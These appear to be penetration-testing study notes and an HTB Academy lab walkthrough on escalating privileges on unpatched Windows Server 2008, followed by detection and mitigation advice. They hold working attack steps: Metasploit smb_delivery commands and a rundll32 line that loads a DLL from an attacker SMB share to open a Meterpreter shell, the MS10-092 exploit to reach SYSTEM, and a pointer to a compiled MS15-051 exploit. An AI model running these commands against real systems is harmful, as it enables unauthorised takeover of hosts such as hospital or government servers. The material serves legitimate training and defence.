🖥️Windows Server 2008
🎯 Overview
Windows Server 2008/2008 R2 reached end-of-life January 14, 2020 and lacks modern security features. Legacy systems are commonly found in medical settings, universities, and government offices running mission-critical applications. These systems present significant privilege escalation opportunities through missing patches and kernel exploits.
📊 Security Feature Comparison
Server Version Security Matrix
Feature | 2008 R2 | 2012 R2 | 2016 | 2019
-------------------------------------|---------|---------|------|------
Enhanced Windows Defender ATP | ❌ | ❌ | ✅ | ✅
Just Enough Administration | Partial | Partial | ✅ | ✅
Credential Guard | ❌ | ❌ | ✅ | ✅
Remote Credential Guard | ❌ | ❌ | ✅ | ✅
Device Guard (code integrity) | ❌ | ❌ | ✅ | ✅
AppLocker | Partial | ✅ | ✅ | ✅
Windows Defender | Partial | Partial | ✅ | ✅
Control Flow Guard | ❌ | ❌ | ✅ | ✅
# Result: Server 2008 lacks most modern security protections🔍 Patch Level Enumeration
WMI Hotfix Query
# Check installed patches:
wmic qfe
# Example output (severely outdated):
Caption HotFixID InstallDate InstalledBy
http://support.microsoft.com/?kbid=2533552 KB2533552 3/31/2021 WINLPE-2K8\Administrator
# Analysis: Only one patch since 2021 = highly vulnerableSystem Information Gathering
# Comprehensive system details:
systeminfo
# Key information:
- OS Version: Windows Server 2008 R2
- Install Date: Check age of system
- Hotfixes: List of installed patches
- Network Configuration: Domain membership🔧 Sherlock Vulnerability Assessment
Sherlock Script Usage
# Set execution policy:
Set-ExecutionPolicy bypass -Scope process
# Import and run Sherlock:
cd C:\Tools\
Import-Module .\Sherlock.ps1
Find-AllVulnsCommon Server 2008 Vulnerabilities
# Typical Sherlock findings:
MS10-092 (CVE-2010-3338) # Task Scheduler XML - Appears Vulnerable
MS15-051 (CVE-2015-1701) # ClientCopyImage Win32k - Appears Vulnerable
MS16-032 (CVE-2016-0099) # Secondary Logon Handle - Appears Vulnerable
# 64-bit limitations:
MS10-015 (KiTrap0D) # Not supported on 64-bit systems
MS13-053 (Win32k Pool) # Not supported on 64-bit systems
MS16-016 (WebDAV) # Not supported on 64-bit systems🚀 Metasploit Privilege Escalation
SMB Delivery Module Setup
# Start Metasploit:
sudo msfconsole -q
use exploit/windows/smb/smb_delivery
# Configure options:
set LHOST <attacker_ip>
set SRVHOST <attacker_ip>
set target 0 # DLL target
exploit
# Result: Rundll32 command for target execution
rundll32.exe \\<attacker_ip>\<share>\test.dll,0Initial Shell Acquisition
# Execute on target (Command Prompt):
rundll32.exe \\10.10.14.3\lEUZam\test.dll,0
# Result: Meterpreter session as current user
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.129.43.15:49609)Process Migration for 64-bit
# Check current process:
meterpreter > getpid
Current pid: 2268
# List processes:
meterpreter > ps
# Migrate to 64-bit process:
meterpreter > migrate 2796 # Choose x64 process
[*] Migration completed successfully.
# Background session:
meterpreter > backgroundMS10-092 Privilege Escalation
# Use Task Scheduler exploit:
use exploit/windows/local/ms10_092_schelevator
set SESSION 1
set LHOST <attacker_ip>
set LPORT 4443
exploit
# Exploit process:
[*] Creating task: isqR4gw3RlxnplB
[*] Reading task file contents...
[*] Writing modified content back...
[*] Executing the task...
[*] Deleting the task...
# Result: NT AUTHORITY\SYSTEM shell🎯 HTB Academy Lab Walkthrough
Lab Environment
# Access: RDP with htb-student:HTB_@cademy_stdnt!
# Target: Windows Server 2008 R2
# Objective: Get Administrator flag.txtStep-by-Step Solution
1. Initial Access
# Connect via RDP:
rdesktop -u htb-student -p 'HTB_@cademy_stdnt!' <target_ip>
# Alternative if xfreerdp fails:
# rdesktop -u htb-student -p HTB_@cademy_stdnt! <target_ip>2. Patch Level Enumeration
# Open Command Prompt and check patches:
wmic qfe
# Expected result: Very few patches, severely outdated system
Caption HotFixID InstallDate
http://support.microsoft.com/?kbid=2533552 KB2533552 3/31/20213. Vulnerability Assessment
# Set PowerShell execution policy:
Set-ExecutionPolicy bypass -Scope process
# Choose: Y (Yes)
# Navigate to tools and run Sherlock:
cd C:\Tools\
Import-Module .\Sherlock.ps1
Find-AllVulns
# Key findings:
MS10-092 - Task Scheduler .XML - Appears Vulnerable
MS15-051 - ClientCopyImage Win32k - Appears Vulnerable
MS16-032 - Secondary Logon Handle - Appears Vulnerable4. Metasploit Setup (Attack Machine)
# Start Metasploit:
sudo msfconsole -q
use exploit/windows/smb/smb_delivery
# Configure module:
set LHOST <your_vpn_ip>
set SRVHOST <your_vpn_ip>
exploit
# Copy the rundll32 command provided
# Example: rundll32.exe \\10.10.14.80\tXWM\test.dll,05. Initial Shell (Target Machine)
# Execute in Command Prompt on target:
rundll32.exe \\<your_vpn_ip>\<share>\test.dll,0
# Result: Meterpreter session established6. Process Migration (Attack Machine)
# Interact with session:
sessions -i 1
# Check processes and migrate to 64-bit:
ps
migrate <64bit_process_pid> # e.g., migrate 1304
# Background session:
bg7. Privilege Escalation
# Use MS10-092 exploit:
use exploit/windows/local/ms10_092_schelevator
set SESSION 1
set LHOST <your_vpn_ip>
set LPORT 4443
exploit
# Result: New session as NT AUTHORITY\SYSTEM8. Flag Retrieval
# Drop to shell:
shell
# Get Administrator flag:
type C:\Users\Administrator\Desktop\flag.txt
# Expected result: Flag content displayed🔄 Alternative Privilege Escalation Methods
Manual Exploit Compilation
# For environments where Metasploit is restricted:
# Download exploit source code from exploit-db
# Compile on Windows or cross-compile on Linux
# Transfer to target and execute
# Example MS15-051 compilation:
# Download: https://www.exploit-db.com/exploits/37367/
# Compile with Visual Studio or mingw
# Execute: .\ms15-051.exe "cmd.exe"PowerShell-Based Exploits
# PowerUp for comprehensive enumeration:
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# Specific checks for Server 2008:
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService🛠️ Legacy System Considerations
Business Context Assessment
# Consider before recommending removal:
- Mission-critical software dependencies
- Cost of system replacement/upgrade
- Regulatory compliance requirements
- Vendor support availability
- Network segmentation controls
- Extended support contracts
# Medical/Industrial examples:
- MRI software on Windows XP/7
- Manufacturing control systems
- Legacy database applications
- Specialized hardware driversRisk Mitigation Strategies
# When systems cannot be upgraded:
- Network segmentation/isolation
- Additional monitoring and logging
- Custom extended support contracts
- Application allowlisting
- Enhanced access controls
- Regular vulnerability assessments
- Incident response planning⚠️ Detection & Defense
Detection Indicators
# Monitor for:
- Sherlock script execution
- Metasploit SMB delivery usage
- Rundll32 execution with UNC paths
- Task Scheduler exploit signatures
- Process migration activities
- Unusual scheduled task creation/deletionDefensive Measures
# Legacy system protection:
- Apply all available security patches
- Implement network segmentation
- Deploy endpoint detection and response
- Monitor for exploit signatures
- Restrict administrative access
- Regular security assessments
- Plan for system modernization💡 Key Takeaways
Server 2008 lacks modern security features and is highly vulnerable
Patch enumeration reveals missing critical security updates
Sherlock provides comprehensive vulnerability assessment for legacy systems
MS10-092 Task Scheduler exploit is reliable for Server 2008 privilege escalation
Process migration to 64-bit required for some exploits
Business context critical when dealing with legacy systems
Multiple escalation vectors available on unpatched systems
Windows Server 2008 systems represent high-value targets due to missing security features and unpatched vulnerabilities, but business considerations must guide remediation recommendations.
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